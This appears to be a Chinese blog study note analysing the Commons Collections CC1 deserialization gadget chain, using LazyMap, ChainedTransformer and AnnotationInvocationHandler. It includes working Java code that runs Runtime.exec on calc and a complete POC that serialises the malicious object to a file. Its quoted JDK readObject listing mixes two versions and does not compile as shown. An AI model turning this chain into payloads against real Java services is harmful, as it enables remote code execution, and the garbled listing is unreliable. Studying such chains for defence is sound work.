前言

1、demo命令执行代码——网上直接抄

  1. package ysoserial.secmgr;
  2. import org.apache.commons.collections.*;
  3. import org.apache.commons.collections.Transformer;
  4. import org.apache.commons.collections.functors.ChainedTransformer;
  5. import org.apache.commons.collections.functors.ConstantTransformer;
  6. import org.apache.commons.collections.functors.InvokerTransformer;
  7. import org.apache.commons.collections.map.TransformedMap;
  8. import java.util.HashMap;
  9. import java.util.Map;
  10. public class xxx {
  11. public static void main(String[] args)
  12. {
  13. Transformer[] transformers = new Transformer[] {
  14. new ConstantTransformer(Runtime.class),
  15. new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
  16. new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
  17. new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" }) };
  18. Transformer transformerChain = new ChainedTransformer(transformers);
  19. Map innermap = new HashMap();
  20. innermap.put("name", "hello");
  21. Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
  22. Map.Entry elEntry = ( Map.Entry ) outmap.entrySet().iterator().next();
  23. elEntry.setValue("hahah");
  24. }
  25. }

image.png
这一部分的代码和CC1前置知识一样(哎没办法只会copy)
其实后面再看nice_0e3大佬的文章,发现前置知识的内容其实就是整个CC1的分析了。

这里我们直接过一遍,就不逐步分析demo的每一行代码了,但是可以再把里面调用到的一些方法总结一下。

Transformer

一个接口
image.png

ConstantTransformer

new ConstantTransformer(Runtime.class) ConstantTransformer是Transformer的实现类
image.png
内有iConstant会对其进行赋值,主要是Return返回传入的类

InvokerTransformer

同样是Transformer的实现类,内构造方法有三个参数,第⼀个参数是待执⾏的⽅法名,第⼆个参数是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表 。
image.png
通过调用java反射机制来获取类并调用执行

ChainedTransformer

没错还是Transformer的实现类,内有构造方法传入一个transformers值,以及一个transform类来遍历对传入的数值进行遍历并且调用数组对象的transform
image.png

LazyMap

除了TransformedMap,还有LazyMap
Map tmpmap = LazyMap.decorate(normalMap, TestTransformer);
当调用tmpmap.get(key)的key不存在时,会调用TestTransformer的transform()方法
这些不同的Map类型之间的差异也正是CommonsColletions有那么多gadget的原因之一

而LazyMap与TransformedMap两个类不同点在于TransformedMap是在put方法去触发transform方法,而LazyMap是在get方法去调用方法,如下图所示get方法
image.png
当调用get(key)的key不存在时,会调用transformerChain的transform()方法。
因此上面的demo弹计算器的案例我们可以简单改一下,将put方法修改为get,如下所示,修改的代码行数为第30——32行

  1. package ysoserial.secmgr;
  2. import org.apache.commons.collections.*;
  3. import org.apache.commons.collections.Transformer;
  4. import org.apache.commons.collections.functors.ChainedTransformer;
  5. import org.apache.commons.collections.functors.ConstantTransformer;
  6. import org.apache.commons.collections.functors.InvokerTransformer;
  7. import org.apache.commons.collections.map.LazyMap;
  8. import org.apache.commons.collections.map.TransformedMap;
  9. import java.util.HashMap;
  10. import java.util.Map;
  11. public class xxx {
  12. public static void main(String[] args) throws Exception {
  13. //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
  14. Transformer[] transformers = new Transformer[] {
  15. new ConstantTransformer(Runtime.class),
  16. new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
  17. new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
  18. new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
  19. };
  20. //将transformers数组存入ChaniedTransformer这个继承类
  21. Transformer transformerChain = new ChainedTransformer(transformers);
  22. //创建Map并绑定transformerChina
  23. Map innerMap = new HashMap();
  24. innerMap.put("value", "value");
  25. Map tmpmap = LazyMap.decorate(innerMap, transformerChain);
  26. tmpmap.get("1");
  27. }
  28. }

LazyMap的decorate方法只有两个参数
image.png

分析

下断点F7
image.png
直接进到LazyMap.decorate方法
image.png
执行了 tmpmap.get(“1”) 后,到达get方法
image.png
之后就开始调用transform方法了
image.png
this.factory为Transformer[]数组,这时候去调用就会执行transform方法,而ChainedTransformer的transform方法又会去遍历调用Transformer[]里面的transform方法,导致使用方式的方式传入的Runtime调用了exec执行了calc.exe弹出一个计算器,这后面的分析就和上篇文章的调用类似

但是在实际运用中,需要将该代码转换为序列化流,而不是直接执行代码让它弹calc,两者之间就差一个readObject。在实际运用中需要我们需要找到⼀个类,它在反序列化的readObject读取我们序列化的流文件

————————————————————————————————————————————————
OK!上述我们说的是通过LazyMap.get或者TransformedMap.put来作为命令执行的关键节点,
因此,我们接下来的目的就是要找到一个方法来调用这个get或者put(实际上putALL,checkSetValue也可以)
很巧,AnnotationInvocationHandler这个类里的invoke类就存在调用get方法

AnnotationInvocationHandler

接下来我们再来看一个东西,该类是来处理注解的
该类的构造函数传入两个参数,分别为Annotation 类类型的class和map类类型的参数
image.png
再来看这个AnnotationInvocationHandler的readObject方法(该方法在高版本被改过,如果jdk版本太高,如我的1.8 191就和下列代码完全不一样)

  1. private void readObject(java.io.ObjectInputStream s)
  2. throws java.io.IOException, ClassNotFoundException {
  3. s.defaultReadObject();
  4. ObjectInputStream.GetField fields = s.readFields();
  5. @SuppressWarnings("unchecked")
  6. Class<? extends Annotation> t = (Class<? extends Annotation>)fields.get("type", null);
  7. @SuppressWarnings("unchecked")
  8. Map<String, Object> streamVals = (Map<String, Object>)fields.get("memberValues", null);
  9. // Check to make sure that types have not evolved incompatibly
  10. AnnotationType annotationType = null;
  11. try {
  12. annotationType = AnnotationType.getInstance(type);
  13. annotationType = AnnotationType.getInstance(t);
  14. } catch(IllegalArgumentException e) {
  15. // Class is no longer an annotation type; time to punch out
  16. throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
  17. }
  18. Map<String, Class<?>> memberTypes = annotationType.memberTypes();
  19. // consistent with runtime Map type
  20. Map<String, Object> mv = new LinkedHashMap<>();
  21. // If there are annotation members without values, that
  22. // situation is handled by the invoke method.
  23. for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
  24. // for (Map.Entry<String, Object> memberValue : streamVals.entrySet()) {
  25. String name = memberValue.getKey();
  26. Object value = null;
  27. Class<?> memberType = memberTypes.get(name);
  28. if (memberType != null) { // i.e. member still exists
  29. Object value = memberValue.getValue();
  30. value = memberValue.getValue();
  31. if (!(memberType.isInstance(value) ||
  32. value instanceof ExceptionProxy)) {
  33. memberValue.setValue(
  34. new AnnotationTypeMismatchExceptionProxy(
  35. value = new AnnotationTypeMismatchExceptionProxy(
  36. value.getClass() + "[" + value + "]").setMember(
  37. annotationType.members().get(name)));
  38. annotationType.members().get(name));
  39. }
  40. }
  41. mv.put(name, value);
  42. }
  43. UnsafeAccessor.setType(this, t);
  44. UnsafeAccessor.setMemberValues(this, mv);
  45. }

在这里readObject()方法会去调用memberValues的entrySet()方法(第27行)。这里的memberValues是构造方法传入进来的参数,我们是使用反射的方式对他进行创建传入的是proxyMap(在下面的POC里进行传入),而proxyMap采用动态代理的方式代理了AnnotationInvocationHandler,因此调用proxyMap既会调用AnnotationInvocationHandler的readObject()方法,而因此会再调用memberValues的entrySet()方法,entrySet()又继续触发到AnnotationInvocationHandler的invoke()方法进行执行。

POC

  1. public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException, IOException {
  2. Transformer[] transformers = new Transformer[] {
  3. new ConstantTransformer(Runtime.class),
  4. new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
  5. new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
  6. new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
  7. };
  8. Transformer transformerChain = new ChainedTransformer(transformers);
  9. Map innerMap = new HashMap();
  10. Map outerMap = LazyMap.decorate(innerMap, transformerChain);
  11. Class clazz =
  12. Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  13. Constructor construct = clazz.getDeclaredConstructor(Class.class,
  14. Map.class);
  15. construct.setAccessible(true);
  16. InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
  17. Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
  18. handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
  19. ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.txt"));
  20. oos.writeObject(handler);
  21. }

image.png

想来想去还是直接把大佬的图放着吧,还是比较清晰明朗的
Gadget chain:
image.png